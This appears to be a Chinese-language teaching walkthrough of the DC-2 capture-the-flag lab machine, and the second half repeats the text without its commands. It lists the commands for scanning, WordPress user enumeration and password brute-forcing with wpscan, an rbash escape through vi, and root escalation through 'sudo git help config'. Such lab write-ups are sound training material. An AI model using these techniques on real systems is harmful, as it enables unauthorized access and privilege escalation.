DC-2靶机复现
字数 1134 2025-08-29 22:41:01

DC-2靶机渗透测试完整教学文档

1. 靶机信息收集

1.1 发现靶机IP

使用arp-scan工具扫描本地网络,发现DC-2靶机的IP地址:

arp-scan -l

发现靶机IP为:192.168.130.138

1.2 端口扫描

使用nmap进行全端口扫描:

nmap -A -p1-65535 192.168.130.138

扫描结果显示:

  • 80端口:HTTP服务
  • 7744端口:SSH服务(非默认22端口)

2. Web服务渗透

2.1 解决域名重定向问题

访问80端口时发现重定向到http://dc-2/,需要修改本地hosts文件:

vi /etc/hosts

添加记录:

192.168.130.138 dc-2

2.2 目录扫描

使用dirsearch工具扫描网站目录:

dirsearch -u http://dc-2/ -e * -x 403 404

发现重要文件:wp-login.php,表明这是一个WordPress站点。

2.3 获取flag1

在网站中发现flag1,提示:

  • 常规字典可能无效
  • 需要使用cewl工具生成定制字典

2.4 生成密码字典

使用cewl爬取网站内容生成字典:

cewl http://dc-2/ -w /home/zh1yu/dict.txt

2.5 枚举WordPress用户

使用wpscan枚举用户:

wpscan --url dc-2 -e u

发现三个用户:

  • admin
  • jerry
  • tom

2.6 爆破用户密码

使用wpscan进行密码爆破:

wpscan --url dc-2 -U /home/zh1yu/ua.txt -P /home/zh1yu/dict.txt

成功获取凭据:

  • jerry: adipiscing
  • tom: parturient

2.7 获取flag2

登录WordPress后台后找到flag2,提示:

  • 需要通过其他方式获取shell
  • 已尝试80端口,接下来应测试SSH

3. SSH服务渗透

3.1 SSH连接尝试

尝试使用jerry用户连接SSH失败:

ssh jerry@192.168.130.138 -p 7744

使用tom用户成功连接:

ssh tom@192.168.130.138 -p 7744

3.2 突破rbash限制

发现连接后处于受限的rbash环境。

检查可用命令:

echo $PATH
echo /home/tom/usr/bin/*

发现可用命令:less、ls、scp和vi

使用vi突破限制:

  1. 在vi中执行:
:set shell=/bin/bash
:shell
  1. 设置环境变量:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

3.3 获取flag3

查找flag文件:

cat fl*

提示使用su命令切换用户。

3.4 切换到jerry用户

su jerry

输入jerry的密码"adipiscing"后成功切换,在jerry目录下发现flag4。

4. 权限提升

4.1 检查sudo权限

sudo -l

发现可以以root权限使用git命令。

4.2 Git提权

利用git帮助功能提权:

sudo git help config

在分页视图中输入:

!/bin/bash

这将启动一个具有root权限的bash shell。

4.3 获取最终flag

切换到root目录:

cd /root
ls

找到并查看最终flag文件。

5. 总结

本次渗透测试完整流程:

  1. 网络发现和端口扫描
  2. Web服务渗透(WordPress)
    • 目录扫描
    • 用户枚举
    • 密码爆破
  3. SSH服务利用
    • 突破rbash限制
  4. 权限提升
    • 用户切换
    • Git提权

关键工具:

  • arp-scan
  • nmap
  • dirsearch
  • cewl
  • wpscan
  • vi(用于突破rbash)
  • git(用于提权)
DC-2靶机渗透测试完整教学文档 1. 靶机信息收集 1.1 发现靶机IP 使用 arp-scan 工具扫描本地网络,发现DC-2靶机的IP地址: 发现靶机IP为: 192.168.130.138 1.2 端口扫描 使用nmap进行全端口扫描: 扫描结果显示: 80端口:HTTP服务 7744端口:SSH服务(非默认22端口) 2. Web服务渗透 2.1 解决域名重定向问题 访问80端口时发现重定向到 http://dc-2/ ,需要修改本地hosts文件: 添加记录: 2.2 目录扫描 使用dirsearch工具扫描网站目录: 发现重要文件: wp-login.php ,表明这是一个WordPress站点。 2.3 获取flag1 在网站中发现flag1,提示: 常规字典可能无效 需要使用cewl工具生成定制字典 2.4 生成密码字典 使用cewl爬取网站内容生成字典: 2.5 枚举WordPress用户 使用wpscan枚举用户: 发现三个用户: admin jerry tom 2.6 爆破用户密码 使用wpscan进行密码爆破: 成功获取凭据: jerry: adipiscing tom: parturient 2.7 获取flag2 登录WordPress后台后找到flag2,提示: 需要通过其他方式获取shell 已尝试80端口,接下来应测试SSH 3. SSH服务渗透 3.1 SSH连接尝试 尝试使用jerry用户连接SSH失败: 使用tom用户成功连接: 3.2 突破rbash限制 发现连接后处于受限的rbash环境。 检查可用命令: 发现可用命令:less、ls、scp和vi 使用vi突破限制: 在vi中执行: 设置环境变量: 3.3 获取flag3 查找flag文件: 提示使用su命令切换用户。 3.4 切换到jerry用户 输入jerry的密码"adipiscing"后成功切换,在jerry目录下发现flag4。 4. 权限提升 4.1 检查sudo权限 发现可以以root权限使用git命令。 4.2 Git提权 利用git帮助功能提权: 在分页视图中输入: 这将启动一个具有root权限的bash shell。 4.3 获取最终flag 切换到root目录: 找到并查看最终flag文件。 5. 总结 本次渗透测试完整流程: 网络发现和端口扫描 Web服务渗透(WordPress) 目录扫描 用户枚举 密码爆破 SSH服务利用 突破rbash限制 权限提升 用户切换 Git提权 关键工具: arp-scan nmap dirsearch cewl wpscan vi(用于突破rbash) git(用于提权)